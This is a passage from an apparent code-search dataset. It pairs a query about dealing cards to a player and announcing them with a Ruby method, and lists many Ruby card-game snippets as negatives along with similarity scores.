add!(playing_card)\n if playing_card.suit == suit &&\n (\n (playing_cards.empty? && playing_card.rank == 1) ||\n playing_card.rank == (playing_cards.last.rank + 1)\n )\n playing_cards.push(playing_card)\n else\n raise \"Cannot add #{playing_card} to #{self}\"\n end\n end", "def add card\n @cards.push card\n end", "def add(card)\n return unless card.is_a? Card\n # only allow cards to be added\n @cards << card\n end", "def add_member_to_card\n @trello.add_commander_to_card(find_member, @card)\n end", "def drawCard\n\t\t@hand = @hand.push(@deck.pop)\n\tend", "def <<(card)\n @cards << card\n end", "def addCard(card)\n\t\t@cards << card\n\t\t@value += getValue(card.rank)\n\t\tif card.rank == 'Ace'\n\t\t\t@hasAce = true\n\t\tend\n\t\tif @cards.length == 2 and @value == 21 and @hasAce # updates should be in different method\n\t\t\t@blackjack = true\n\t\tend\n\t\tif @value > 21 and @hasAce\n\t\t\t@value -= 10\n\t\t\t@hasAce = false\n\t\tend\n\tend", "def add_a_card(card)\n if is_full?\n puts \"Deck is full.You can't add a card\"\n return false\n elsif empty?\n @deck << card\n @added_cards << card\n cards_left\n elsif !find_card(card)\n random = rand(cards_left)\n insert_card(random, card)\n @added_cards << card\n random\n else\n puts \"Can't add a duplicate card to the Deck\"\n return false\n end\n end", "def deal_card(game_deck,player)\n card = game_deck.deck.pop\n ace_checker(card,player)\n player.hand.push(card)\n puts\"#{player.player_name} received #{card.identify}\"\n puts \"Current hand: #{player.display_hand}\"\n win_or_bust(player)\n hit_or_stay(player)\nend", "def addToBoard(player, card)\n\t\tif player.side == 1\n\t\t\t@p1Board.push(card)\n\t\telse\n\t\t\t@p2Board.push(card)\n\t\tend\n\tend", "def deal(card)\n\t\t@hand.push(card)\n\tend", "def deal_card(player)\n if !self.is_empty?\n player.hand << cards.pop\n else\n self.initialize(1)\n end\n end", "def deal_card_to_player(player, card, show)\n if show\n puts \"Dealing to #{player.name}: #{card}\"\n elsif\n puts \"Dealing hidden card to #{player.name}\"\n end\n player.hands[0].add_card(card, false)\n end", "def add_cards(cs)\n\t\tcards.concat cs\n\tend", "def hit(card)\n hand = @hands[@current_hand]\n hand.cards.push(card)\n puts \"New card received - #{card}\"\n if hand.is_bust()\n print_player_hands()\n puts \"Player #{@position} busts!\"\n @current_hand += 1\n end\n end", "def add_card(name, suit, rank)\r\n card = Card.new(name, suit, rank)\r\n @cards << card\r\n @order << card.to_s\r\n end", "def << new_cards\n if new_cards.is_a?(PokerHand)\n new_cards = new_cards.to_a\n elsif new_cards.is_a?(Card) || new_cards.is_a?(String)\n new_cards = [new_cards]\n end\n \n #debugger\n new_cards.each do |nc|\n unless @@allow_duplicates\n raise \"A card with the value #{nc} already exists in this hand. Set PokerHand.allow_duplicates to true if you want to be able to add a card more than once.\" if self =~ /#{nc}/\n end\n \n @hand << Card.new(nc)\n end\n end", "def add_card(card)\n card.save if card.kind_of?(Balanced::Card) && card.hash.nil?\n self.card_uri = Balanced::Utils.extract_uri_from_object(card)\n save\n end", "def setCard(newCard)\n\t\t#add the card to this players hand\n\t\t@hand[newCard.value] = newCard\n\n\t\t#delete the card from the not seen list\n\t\tif newCard.type == :person\n\t\t\t@suspectsNotSeen.delete(newCard)\n\t\telsif newCard.type == :place\n\t\t\t@locationsNotSeen.delete(newCard)\n\t\telse \n\t\t\t@weaponsNotSeen.delete(newCard)\n\t\tend\n\tend", "def choose_and_add_card_to_user_deck\n prompt = TTY::Prompt.new\n card = choose_hero\n response = prompt.select('Do you want to add this card to your collection?', %w(Yes No))\n if response == \"Yes\"\n added_card = UserCard.create(user_id: self.id, card_id: card.id)\n puts \"#{added_card.card.name.upcase} was added to your collection.\"\n sleep(1)\n end\n system('clear')\n title\n response = prompt.select('Do you want to look for another card?', %w(Yes No))\n if response == \"Yes\"\n self.choose_and_add_card_to_user_deck\n end\n end", "def include_card(name)\n raise \"Card '#{name}' not found.\" unless card = Cardlike.the_card(name)\n self << card\n end", "def add_card(rank)\n @cards << Card.new(rank)\n end", "def add_to_deck (suit)\n cards = [2,3,4,5,6,7,8,9,10,'J','Q','K','A']\n cards.each {|val| @deck << Card.new(val, suit)}\n end", "def generate_card (player)\n new_card = Card.new face, suit, value\n player.hand << new_card\n #update total for player\n player.total = player.total + new_card.value\n end", "def add_and_reveal(cards, source=\"the deck\")\n player.add_card_to_hand(cards)\n message = \"\"\n if source.is_a?(Player) then display_source = source.name else display_source = source end\n if cards.is_a?(Array) then cards.each {|card| message += \"#{player.name} took #{card.description} from #{display_source}\\n\"} end\n if !cards.is_a?(Array) then message = \"#{player.name} took #{cards.description} from #{display_source}\\n\" end\n game.players.each {|player| player.send_message_to_user(message)}\n end", "def add_card(card)\n raise \"invalid placement!\" unless valid_placement?(card)\n @store << card\n end", "def starting_hands\n @dealer_hand.push(random_card)\n @player_hand.push(random_card, random_card)\n end", "def hit(hand)\n hand.push(random_card)\n end", "def add_card(card)\r\n\t\tcards << card\r\n\t\tcalc_value\r\n\tend", "def hit(card)\n @cards << card\n end", "def add_commander_to_card(commander, card)\n card.add_member(commander) if commander\n end", "def add_to_pile_beneath(card)\n @pile_beneath << @pile.remove(card)\n end", "def return_card( card )\n @deck.unshift( card )\n end", "def setCard( newCard )\n @cardsInHand.push(newCard)\n \n # since the computer player doesn't make bad guess, \n # we delete the card just received from the lists of potential right cards.\n i = 0\n while( i < @listOfAllSuspects.length )\n if( @listOfAllSuspects[i].value == newCard.value && @listOfAllSuspects[i].type == newCard.type )\n @listOfAllSuspects.delete_at(i)\n else\n i = i + 1\n end\n end\n \n i = 0\n while( i < @listOfAllLocations.length )\n if( @listOfAllLocations[i].type == newCard.type && @listOfAllLocations[i].value == newCard.value )\n @listOfAllLocations.delete_at(i)\n else\n i = i + 1\n end\n end\n \n i = 0\n while( i < @listOfAllWeapons.length )\n if( @listOfAllWeapons[i].type == newCard.type && @listOfAllWeapons[i].value == newCard.value )\n @listOfAllWeapons.delete_at(i)\n else\n i = i + 1\n end\n end\n end", "def addSharedCard(givenCard)\n \tcards_users.create(card_id: givenCard.id, is_shared: true)\n end", "def add_cards\n\t\t3.times { @board << @deck.draw }\n\tend", "def push(card)\n @pile.push(card)\n card.arm!\n end", "def add_card card_uri\n self.card_uri = card_uri\n save\n end", "def replace_card_with_new(player, card)\n @deck << card\n @deck.shuffle!\n new_card = @deck.shift\n return if new_card == card\n # This will raise if player didn't have the old card\n player.replace_cards(@main_token, [card], [new_card])\n @output_streams.each { |os| os.new_cards(player.user) }\n end", "def push_card_on_table(player, card)\n \tp_cards = player.get_player_cards\n \tif key = p_cards.index(card)\n \t\tself.cards_on_table << card\n \t\tp_cards.delete_at(key)\n \t\tplayer.player_cards = p_cards\n\t\tend\n send_update\n\t\treturn self.cards_on_table\n end", "def add_hash_card(card)\n card[:type] = 'Simple' if card[:type].nil?\n @card = card\n @card\n end", "def << item\n @cards << item\n self\n end", "def hit(deck)\n @hand << deck.draw!\n end", "def add_top (card)\n @cards.push(card);\n end", "def play_card(card)\n puts 'begin playcard id :' + card.id.to_s\n if self.respond_to?(card.name.gsub(' ','_'), true)\n update_attributes(played_card_id: card.id)\n self.send(card.name.gsub(' ','_'), nil)\n else\n puts 'No card played! gamemanager couldnt find details for ' + card.cardmapping.name\n end\n end", "def buy_card(card_name)\n mapping = Cardmapping.find_by(name: card_name)\n current_player.discard.cards.create!( cardmapping_id: mapping.id ) \n decrement_supply_count(card_name, 1)\n update_attributes(buys: buys - 1, treasure: treasure - mapping.cost )\n end", "def player_hit\n player_hand << deck.cards.pop\n puts \"you drew a #{player_hand.last.face} of #{player_hand.last.suit}.\"\n end", "def add_bottom (card)\n @cards.unshift(card);\n end", "def add_card_to_collection\n @collection.cards << Card.find(params[:card_id])\n end", "def add_card(aCard)\n @cards << aCard\n @cards.sort!() {|card1, card2| card1.rank <=> card2.rank}\n @rank_histogram[aCard.rank] += 1\n @suit_histogram[aCard.suit] += 1\n @evaluation = nil\n @score = 0\nend", "def deal_cards(cards)\n @players.each do |player|\n player.hand += @deck.cards.pop(cards)\n end\n end", "def deal\n hit = bjdeck.draw\n self.player_hand << hit\n hit = bjdeck.draw\n self.computer_hand << hit\n end", "def draw_into(deck)\n card = draw\n deck << card\n card\n end", "def hit!\n\t\t@cards << @deck.take!\n\tend", "def hit(card)\n @cards[@cards.length] = card\n end", "def hit\n @cards.push @deck.shift\n end", "def restock_hand!\n return if Bot::CONFIG.hand_size == unplayed_cards.count\n (Bot::CONFIG.hand_size - unplayed_cards.count).times do\n add_player_card PlayerCard.create(answer: game.available_answers.sample)\n end\n end", "def playCard (card)\n\t\tif card.cost > @remaining_mana\n\t\t\tp \"Not enough mana!\"\n\t\telse\n\t\t\t@board.addToBoard(self, card)\n\t\tend\n\tend", "def deal_player_card(current_player)\n\n card = @deck.delete_at(0)\n if current_player == 1 then\n @player1_hand << card\n end\n if current_player == 2 then\n @player2_hand << card\n end\n if current_player == 3 then\n @player3_hand << card\n end\n if current_player == 4 then\n @player4_hand << card\n end\n\n end", "def hit (deck)\n @hand << deck.deal_card\n calc_score\n true\n end", "def deal_cards\n MAX_CARDS.times do |d|\n @player_manager.players.each do |player| \n player.rack.add_card(@decks_manager.draw_pile.draw_card)\n end\n end\n\n # prep the discard pile with one card from the top of the draw pile\n @decks_manager.discard_top_card\n end", "def get_card_and_put_in_hand(which_hand)\n the_card = @deck_current.delete_at(rand(@deck_current.length))\n\n if which_hand === \"dealer\"\n @hand_dealer.push(the_card)\n\n elsif which_hand === \"player\"\n @hand_player.push(the_card)\n\n end\n \nend", "def turn_card(guess)\n @board[guess].reveal\n @player.store_cards(guess, @board[guess].value)\n p @player.store\n end", "def opening_hand(players_cards, computers_cards, deck)\n players_cards.push (the_draw(deck))\n computers_cards.push (the_draw(deck))\n players_cards.push (the_draw(deck))\n computers_cards.push (the_draw(deck))\n end", "def deal_cards\n player.add_card(deck.deal_one)\n dealer.add_card(deck.deal_one)\n player.add_card(deck.deal_one)\n dealer.add_card(deck.deal_one)\n end", "def draw_for(player)\n @cards.shuffle!\n player.cards << @cards.pop\n end", "def stuff(*raw_cards)\n cards = raw_cards.map { |raw_card| Card.parse(raw_card) }\n @cards.push(*cards)\n reset_scorable_hand\n end", "def insert_random(card)\n @cards.insert(Random.new().rand(0...@cards.count), card)\n end", "def deal_dealer_card\n\n card = @deck.delete_at(0)\n @dealer_hand << card\n\n end" ]
[ "0.8352869", "0.81945187", "0.81460637", "0.8036714", "0.8004742", "0.7983781", "0.7936867", "0.7925681", "0.7921334", "0.7882519", "0.7870291", "0.78693336", "0.78693336", "0.7858476", "0.7805674", "0.77728564", "0.77636373", "0.7740002", "0.7717491", "0.766325", "0.76440233", "0.76287943", "0.7617808", "0.758212", "0.75693434", "0.75693434", "0.75693434", "0.7473025", "0.7472456", "0.74510664", "0.7421817", "0.7418296", "0.74012333", "0.7334922", "0.73204005", "0.73042625", "0.7302897", "0.72957003", "0.7289805", "0.72862285", "0.72525007", "0.72428435", "0.72019124", "0.7174971", "0.7160631", "0.7153452", "0.71486884", "0.70898426", "0.7064267", "0.7053928", "0.70394975", "0.70265305", "0.70007527", "0.6991967", "0.69835716", "0.6957974", "0.6936704", "0.6934367", "0.68981975", "0.68943435", "0.68879914", "0.6861881", "0.68566275", "0.68557346", "0.6821578", "0.680996", "0.6806158", "0.6769459", "0.67666143", "0.6756122", "0.6754949", "0.6678136", "0.6662139", "0.6639095", "0.66069406", "0.66067165", "0.65918046", "0.6588842", "0.65776914", "0.65762424", "0.65705836", "0.6566255", "0.6561028", "0.65496445", "0.6548952", "0.65249723", "0.65096563", "0.65090996", "0.6500391", "0.64930445", "0.6486802", "0.64674056", "0.6452824", "0.6435906", "0.6429432", "0.6410238", "0.6404106", "0.6379321", "0.6377272", "0.6372199" ]
0.8249915
1
Adds cards to a player's hand and then Sends a message to all of the game's players revealing what cards the player took and where they got it from. TODO: make it so that the cards the player already has don't get mentioned
def add_and_reveal(cards, source="the deck") player.add_card_to_hand(cards) message = "" if source.is_a?(Player) then display_source = source.name else display_source = source end if cards.is_a?(Array) then cards.each {|card| message += "#{player.name} took #{card.description} from #{display_source}\n"} end if !cards.is_a?(Array) then message = "#{player.name} took #{cards.description} from #{display_source}\n" end game.players.each {|player| player.send_message_to_user(message)} end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def addCardsToHand(cards)\n @hand.concat(cards)\n end", "def add_card_without_revealing_details(card)\n player.add_card_to_hand(card)\n message = \"#{player.name} drew a card from the center.\"\n game.players.each {|player| player.send_message_to_user(message)}\n end", "def give_card_to_player(card,player)\n\t\t#player is another player object\n\t\t@cards[card].times do\n\t\t\tplayer.add_card(card)\n\t\tend\n\n\n\t\t#remove cards from hand if selected by another player\n\t\tself.remove_set_from_hand(card)\n\tend", "def deal_cards(cards)\n @players.each do |player|\n player.hand += @deck.cards.pop(cards)\n end\n end", "def addCardToHand(card)\n @hand << card\n end", "def add_card_to_hand(curr_hand)\n curr_hand.push(get_rand_card)\n end", "def player_deal_card\n player.add_card(deck.deal_card)\n player.add_card(deck.deal_card)\n player.show_hand\n end", "def opening_hand(players_cards, computers_cards, deck)\n players_cards.push (the_draw(deck))\n computers_cards.push (the_draw(deck))\n players_cards.push (the_draw(deck))\n computers_cards.push (the_draw(deck))\n end", "def deal_card(game_deck,player)\n card = game_deck.deck.pop\n ace_checker(card,player)\n player.hand.push(card)\n puts\"#{player.player_name} received #{card.identify}\"\n puts \"Current hand: #{player.display_hand}\"\n win_or_bust(player)\n hit_or_stay(player)\nend", "def starting_hands\n @dealer_hand.push(random_card)\n @player_hand.push(random_card, random_card)\n end", "def add(card)\n\t\t@hand_contents.push(card)\n\tend", "def deal_hand\n 3.times do \n @players.each do |player|\n player.hand.draw_card\n end\n end\n end", "def add_card(card)\n @addhand = @addhand + card\n end", "def receive_card(a_card)\n @cards_in_hand << a_card\n end", "def restock_hand!\n return if Bot::CONFIG.hand_size == unplayed_cards.count\n (Bot::CONFIG.hand_size - unplayed_cards.count).times do\n add_player_card PlayerCard.create(answer: game.available_answers.sample)\n end\n end", "def add_to_hand(card)\n # add the new card to each \"hand\"\n @values = @values.map { |val| val + card.rank }\n\n # change accordngly if there is an ace\n update_for_ace if card.rank.eql?(1)\n\n @cards.push(card)\n end", "def player_hit\n player_hand << deck.cards.pop\n puts \"you drew a #{player_hand.last.face} of #{player_hand.last.suit}.\"\n end", "def player_hits(deck, player_cards, dealer_cards, hand_totals)\n player_cards << deck.pop\n update_hand_totals(player_cards, dealer_cards, hand_totals)\nend", "def add_cards_to_deck(card)\n @game_deck.deck << card\n end", "def deal_cards\n MAX_CARDS.times do |d|\n @player_manager.players.each do |player| \n player.rack.add_card(@decks_manager.draw_pile.draw_card)\n end\n end\n\n # prep the discard pile with one card from the top of the draw pile\n @decks_manager.discard_top_card\n end", "def deal_card\n @eg_users.each do |user|\n user << @pokerdeck.pop\n end\n @eg_users\n end", "def deal_hand\n dealt = 0\n while dealt < @hand_size \n for player in @players\n player.cards.push(deal_answer_card)\n end \n dealt = dealt + 1\n end\n return @players\n \n end", "def stuff(*raw_cards)\n cards = raw_cards.map { |raw_card| Card.parse(raw_card) }\n @cards.push(*cards)\n reset_scorable_hand\n end", "def deal\n hit = bjdeck.draw\n self.player_hand << hit\n hit = bjdeck.draw\n self.computer_hand << hit\n end", "def deal_card(player)\n if !self.is_empty?\n player.hand << cards.pop\n else\n self.initialize(1)\n end\n end", "def deal_cards\n player.add_card(deck.deal_one)\n dealer.add_card(deck.deal_one)\n player.add_card(deck.deal_one)\n dealer.add_card(deck.deal_one)\n end", "def addCard(card)\n \tif @can_get_cards\n \t @cards.push(card)\n else\n raise ArgumentError, \"Cards cannot be added to this hand anymore.\"\n \tend\n end", "def hand_of_poker\n players_in_hand = @players.dup\n @players.each {|player| deal(player, 5)}\n remaining_players = betting_round(players_in_hand)\n unless remaining_players.count == 1\n exchange_cards\n remaining_players = betting_round(remaining_players)\n unless remaining_players.count == 1\n remaining_players = compare_hands(remaining_players)\n end\n end\n winner = remaining_players.first\n puts \"#{winner.name} wins!\"\n print \"\\n\\n\\n\"\n pay_out(winner)\n reset_deck\n end", "def give_initial_cards\n # deal each player their initial cards\n @players.each do |player|\n player.receive(@deck.draw_card)\n player.receive(@deck.draw_card)\n end\n\n # give the dealer his two cards\n @dealer.receive(@deck.draw_card)\n @dealer.receive(@deck.draw_card)\n end", "def begin_round\n # Note* (Hand Class Method called \"cards\") and (Deck Class Method called \"deal_card\")\n # Adding a random card to Player's Hand\n @player.cards << @deckofcards.deal_card\n # Adding a second random card to Player's Hand\n @player.cards << @deckofcards.deal_card \n # Adding a random card to Dealer's Hand\n @dealer.cards << @deckofcards.deal_card\n # Adding a second random card to Player's Hand\n @dealer.cards << @deckofcards.deal_card\n # Calling the scores_update method at the start of a round.\n scores_update\n end", "def hit(hand)\n hand.push(random_card)\n end", "def add_cards\n\t\t3.times { @board << @deck.draw }\n\tend", "def deal(card)\n\t\t@hand.push(card)\n\tend", "def deal()\n loop_size = Constant::CARD_COUNT / 6\n loop_size.times do\n @players.each do |player|\n break if @deck.cards.empty?\n player.hand += @deck.cards.pop(2)\n end\n end\n end", "def deal(player)\n cards = []\n 26.times do \n cards << self.deck.shift\n end\n\n player.receive_cards(cards)\n end", "def deal_card_to_player(player, card, show)\n if show\n puts \"Dealing to #{player.name}: #{card}\"\n elsif\n puts \"Dealing hidden card to #{player.name}\"\n end\n player.hands[0].add_card(card, false)\n end", "def drawCard\n\t\t@hand = @hand.push(@deck.pop)\n\tend", "def hit(card)\n hand = @hands[@current_hand]\n hand.cards.push(card)\n puts \"New card received - #{card}\"\n if hand.is_bust()\n print_player_hands()\n puts \"Player #{@position} busts!\"\n @current_hand += 1\n end\n end", "def add card\r\n # Unlucky for some !\r\n # Sometimes Moody Players won't play.\r\n if rand(40)==13\r\n puts \"Moody player didn't play!\"\r\n else\r\n @card_list.add card\r\n end\r\n end", "def generate_card (player)\n new_card = Card.new face, suit, value\n player.hand << new_card\n #update total for player\n player.total = player.total + new_card.value\n end", "def all_play_a_card\n @players.each do |p|\n @hand_played << p.try(:cards).try(:first) if p.has_cards?\n @cards_on_table << p.try(:cards).try(:shift) if p.has_cards?\n end\n end", "def draw_card(card)\r\n\t\thand.add_card(card)\r\n\tend", "def give_cards_to_winner(winner, loser)\n lost_cards = loser.give_hand\n winner.receive_cards(lost_cards)\n end", "def setCard( newCard )\n @cardsInHand.push(newCard)\n \n # since the computer player doesn't make bad guess, \n # we delete the card just received from the lists of potential right cards.\n i = 0\n while( i < @listOfAllSuspects.length )\n if( @listOfAllSuspects[i].value == newCard.value && @listOfAllSuspects[i].type == newCard.type )\n @listOfAllSuspects.delete_at(i)\n else\n i = i + 1\n end\n end\n \n i = 0\n while( i < @listOfAllLocations.length )\n if( @listOfAllLocations[i].type == newCard.type && @listOfAllLocations[i].value == newCard.value )\n @listOfAllLocations.delete_at(i)\n else\n i = i + 1\n end\n end\n \n i = 0\n while( i < @listOfAllWeapons.length )\n if( @listOfAllWeapons[i].type == newCard.type && @listOfAllWeapons[i].value == newCard.value )\n @listOfAllWeapons.delete_at(i)\n else\n i = i + 1\n end\n end\n end", "def receive_pass(player,cards)\n super\n @pipe.puts player.id\n @pipe.puts @cards.join $/\n @pipe.puts\n @pipe.flush\n end", "def addToBoard(player, card)\n\t\tif player.side == 1\n\t\t\t@p1Board.push(card)\n\t\telse\n\t\t\t@p2Board.push(card)\n\t\tend\n\tend", "def deal_player_card(current_player)\n\n card = @deck.delete_at(0)\n if current_player == 1 then\n @player1_hand << card\n end\n if current_player == 2 then\n @player2_hand << card\n end\n if current_player == 3 then\n @player3_hand << card\n end\n if current_player == 4 then\n @player4_hand << card\n end\n\n end", "def << new_cards\n if new_cards.is_a?(PokerHand)\n new_cards = new_cards.to_a\n elsif new_cards.is_a?(Card) || new_cards.is_a?(String)\n new_cards = [new_cards]\n end\n \n #debugger\n new_cards.each do |nc|\n unless @@allow_duplicates\n raise \"A card with the value #{nc} already exists in this hand. Set PokerHand.allow_duplicates to true if you want to be able to add a card more than once.\" if self =~ /#{nc}/\n end\n \n @hand << Card.new(nc)\n end\n end", "def update_hands\n\t\tplayers.each do |player|\n\t\t\tnext if player.folded?\n\t\t\tdiscard_idx = player.get_discard\n\t\t\tplayer.update_hand(discard_idx, @deck)\n\t\tend\n\tend", "def hit!\n\t\t@cards << @deck.take!\n\tend", "def push_card_on_table(player, card)\n \tp_cards = player.get_player_cards\n \tif key = p_cards.index(card)\n \t\tself.cards_on_table << card\n \t\tp_cards.delete_at(key)\n \t\tplayer.player_cards = p_cards\n\t\tend\n send_update\n\t\treturn self.cards_on_table\n end", "def deal_cards\n Print.heading('Dealing initial cards')\n deal_card_to_players\n dealer_card_to_dealer(false) #false to hide first dealer card\n deal_card_to_players\n dealer_card_to_dealer(true)\n end", "def play_game\n i = 0\n # loop which goes through each player and deals them a card from the beginning of the deck\n for player in self.players do\n # card given to other player as a hash\n player[:card] = self.deck[i]\n puts player\n i += 1\n end\n # calls the method to compare cards\n self.compare_cards\n end", "def get_card(card)\n @hand.append(card)\n end", "def throw_card_player(player)\n puts \"lanzar\"+player.id\n puts \"Carta del triunfo: Numero: #{@trump_card.number}, Tipo: #{@trump_card.type}\"\n puts \"Turno para el jugador: #{player.name}\"\n puts \"-------------------------------------Sus Cartas-----------------------------------------\"\n player.cards.each do |card|\n print card.id\n print ' || '\n end\n card_valid = true\n while card_valid\n card_valid = get_card(player, card_valid)\n end\n end", "def poker_hand\n # If a hand hasn't been played yet, display a welcome message with some key information.\n welcome_message(@player_positions) unless @hand_played\n\n # Do the players want to start a new hand?\n new_hand_check\n\n # If they do, let's play!\n if @game_running\n\n # Resets and reinitializes everything required for the start of a new hand.\n reset_values\n set_blinds\n init_deck\n deal_hole_cards\n system 'clear'\n puts 'Dealing the cards..'\n sleep(2)\n\n # Starts a loop that checks to see whether a winner needs to be determined.\n while @active_players.length > 1 && @stage_of_play < 4\n # Each time it loops back to this point means we've progressed to the next stage of play and cards need to be dealt.\n deal_community_cards\n\n # If a player has gone all in in the last round of betting, sets the maximum amount that player can win this hand.\n @active_players.map do |player|\n next unless player.chip_stack == 0 && player.max_pot != 0\n\n player.max_winnings = (@pot_size - @committed) + (player.max_pot * @active_players.length)\n player.max_pot = 0\n end\n\n # Resets the committed value AFTER max_winnings has been calculated.\n @committed = 0 if @stage_of_play.positive?\n\n loop do\n # If a player has folded they are no longer active in this hand.\n @active_players.map do |player|\n @active_players.delete(player) if player.folded == true\n end\n\n # If a player is still active and has no chips left, they are all in.\n @all_in_players = 0\n @active_players.map do |player|\n @all_in_players += 1 if player.chip_stack.zero?\n end\n\n # If the player is all in and there are players who aren't all in rotate the array to check the next player.\n if @active_players[0].acted == true && @active_players[0].chip_stack.zero? && @active_players.length != @all_in_players\n @active_players.rotate!\n\n # If the player was the initial raiser and they haven't had their bet raised, move onto the next stage of the hand.\n elsif (@active_players[0].acted == true) && (@active_players[0].current_bet == @table_current_bet)\n @stage_of_play += 1\n\n # Resets everyone so they haven't acted for the next round of betting, except for those who are all in.\n @active_players.map do |player|\n if player.current_bet == @table_current_bet\n player.acted = false unless player.chip_stack.zero?\n end\n player.current_bet = 0\n end\n @table_current_bet = 0\n break\n\n else\n # If all of the above conditions fail, it means the player needs to make a move.\n ready_check(@active_players[0])\n player_action\n end\n end\n end\n end\n end", "def add_card(card)\n \t@cards << card\n end", "def add_card(card)\n @cards.push\n end", "def add_card(card)\n @cards << card\n end", "def add_card(card)\n @cards << card\n end", "def add_cards(cs)\n\t\tcards.concat cs\n\tend", "def show_hand(player_ID)\n card_ID = 0\n print_with_pause(\"Here are your cards...\".colorize(:red))\n print_with_pause(\"Choose wisely.\".colorize(:red))\n waits(2)\n puts `clear`\n while card_ID < @players[player_ID].cards.length\n line_number = card_ID + 1\n puts (line_number.to_s + \". \" + @players[player_ID].cards[card_ID].value).colorize(:black).on_white\n card_ID = card_ID + 1\n end\n end", "def add card\n if card.is_a? Card\n @hand.push card\n else\n @hand.push Card.new(card)\n end\n\n @analysis = analyse @hand\n end", "def add_to_deck (suit)\n cards = [2,3,4,5,6,7,8,9,10,'J','Q','K','A']\n cards.each {|val| @deck << Card.new(val, suit)}\n end", "def action_useCard(pockerCard_id)\n\n if check_cardOwn(pockerCard_id) and check_currentTurn()#only owner can play card and current turn on\n if check_usableNumShape(pockerCard_id) #check bottom number and shape\n\n sourcePlayer_id = Game.last.players.by_user(current_user).id\n destPlayer_id = Game.last.players.dummy.id # destPlayer_id = 2 (dummy) \n\n action_moveCard(dest_id: destPlayer_id, source_id: sourcePlayer_id, card_id: pockerCard_id)\n\n #check effect of cards\n card_effect = Pockercard.find(pockerCard_id).effect\n action_addDummyList(pockerCard_id)\n action_putBottomCard(pockerCard_id)\n if card_effect == \"none\"\n action_endTurn(1) #move to next player=[\n elsif card_effect == \"back\" \n Game.last.toggle_order!\n action_endTurn(1) #skip next player\n elsif card_effect == \"jump\" \n action_endTurn(2) #move to next next player\n elsif card_effect == \"attack\"\n action_attackCard(pockerCard_id)\n action_endTurn(1) #move to next next player\n elsif card_effect == \"change\"\n action_setBottomCardStep()\n elsif card_effect == \"onemore\" \n else\n action_endTurn(1) #skip next player\n end\n check_winOrLose() \n end\n end\n\n\n\n end", "def add_card(new_card)\n self.cards.append(new_card)\n end", "def deal\n deck = build_deck\n players = create_players\n hands = []\n puts \"Dealing cards...\"\n players.each do |player|\n hand = {\n player: player, card: deck.pop\n }\n hands << hand\n end\n return hands\n end", "def deal_card(hand)\n #hand is a string whose valid values are 'player_cards' and 'dealer_cards' \n\n if !['player_cards','dealer_cards'].include?(hand)\n raise \"Unknown hand #{hand}\"\n end \n\n #Check for an empty deck and reshuffle if necessary\n if (session['game_cards'].length == 0) \n\n session['game_cards'] = session['discard']\n session['game_cards'].shuffle!\n session['discard'] = []\n append_message(\"Dealer shuffled the cards.\") \n\n end \n\n #Move the card\n session[hand] << session['game_cards'].pop \n\n end", "def hit(deck)\n @hand << deck.draw!\n end", "def deal amount = 5, player_name = \"Player #{@@anonymous_player_count += 1}\"\n cards = amount.times.map do\n card = take(1).first\n unless card\n reset_unused!\n card = take(1).first\n end\n @inhand << card\n card\n end\n hand = CardDecks::Hand.new *cards, deck: self, name: player_name\n @hands << hand\n hand\n end", "def draw_first_hand(hand, cards)\n hand = []\n hand << draw_card(cards)\n hand << draw_card(cards)\nend", "def play_for_trick \n if @player1.deal == true && @player2.deal == false && !@player1.hand.empty?\n #start with the hand on each player\n response_hand = @player2.hand\n leading_card_hand = @player1.hand\n #find card of player who leads\n leading_card = @player1.lead_card\n @player1.remove_card_from_hand(leading_card)\n puts @player1.name + \" chooses the \" + leading_card.card_to_string\n #find card of player who responds\n response_card = @player2.respond(leading_card)\n @player2.remove_card_from_hand(response_card)\n puts @player1.name + \" plays the \" + leading_card.card_to_string + \" and \" +\n @player2.name + \" plays the \" + response_card.card_to_string\n \n #find winning card and then find out who that card belongs too\n winning_card = determine_winner(leading_card, response_card)\n if winning_card == leading_card \n @player1.deal = true\n @player2.deal = false\n @player1.score += 1\n else\n @player2.deal = true\n @player1.deal = false\n @player2.score += 1\n end\n #display players scores\n puts @player1.name + \"'s score is \" + @player1.score.to_s\n puts @player2.name + \"'s score is \" + @player2.score.to_s\n end\n\n if @player1.deal == false && @player2.deal == true && !@player2.hand.empty?\n #start with the hand on each player\n response_hand = @player2.hand\n leading_card_hand = @player1.hand\n #find card of player who leads\n leading_card = @player2.lead_card\n @player2.remove_card_from_hand(leading_card)\n puts @player2.name + \" chooses the \" + leading_card.card_to_string\n #find card of player who responds\n response_card = @player1.respond(leading_card)\n @player1.remove_card_from_hand(response_card)\n puts @player2.name + \" plays the \" + leading_card.card_to_string + \" and \" +\n @player1.name + \" plays the \" + response_card.card_to_string\n\n #find winning card and then find out who that card belongs too\n winning_card = determine_winner(leading_card, response_card)\n\n if winning_card == leading_card \n @player2.deal = true\n @player1.deal = false\n @player2.score += 1\n else\n @player1.deal = true\n @player2.deal = false\n @player1.score += 1\n end\n #display players scores\n puts @player1.name + \"'s score is \" + @player1.score.to_s\n puts @player2.name + \"'s score is \" + @player2.score.to_s\n end\n end", "def add_card(new_card)\n cards.push(new_card)\n end", "def deal_hand(players)\n players.each do |player|\n player.clear_hand\n end\n\n 2.times do \n players.each do |player|\n deal_card(player)\n end\n end\n end", "def get_card_and_put_in_hand(which_hand)\n the_card = @deck_current.delete_at(rand(@deck_current.length))\n\n if which_hand === \"dealer\"\n @hand_dealer.push(the_card)\n\n elsif which_hand === \"player\"\n @hand_player.push(the_card)\n\n end\n \nend", "def add_card(card)\n @cards.push(card)\n end", "def complete_player_hand(playerHand, dealerHand)\n \n loop do #Loop forever\n \n Console_Screen.cls #Clear the display area\n \n #Show the current state of the player and dealer's hands\n puts \"Player's hand: \" + playerHand.to_s + \"\\n\\n\"\n puts \"Dealer's hand: \" + dealerHand.to_s + \"\\n\\n\\n\\n\\n\\n\"\n print \"Would you like another card? (Y/N) \"\n \n reply = STDIN.gets #Collect the player's answer\n reply.chop! #Remove any extra characters appended to the string\n\n #See if the player decided to ask for another card\n if reply =~ /y/i then\n #Call method responsible for getting a new card and add it to the \n #player's hand\n playerHand = playerHand + get_new_card\n end\n\n #See if the player has decided to stick with the current hand\n if reply =~ /n/i then\n break #Terminate the execution of the loop\n end\n \n if playerHand > 21 then\n break #Terminate the execution of the loop\n end\n \n end\n \n #Return the value of the player's hand\n return playerHand\n \n end", "def play_game\n\n Console_Screen.cls #Clear the display area\n \n #Assist the player and dealer an initial starting card\n playerHand = get_new_card\n dealerHand = get_new_card\n \n #Call the method responsible for dealing new cards to the player\n playerHand = complete_player_hand(playerHand, 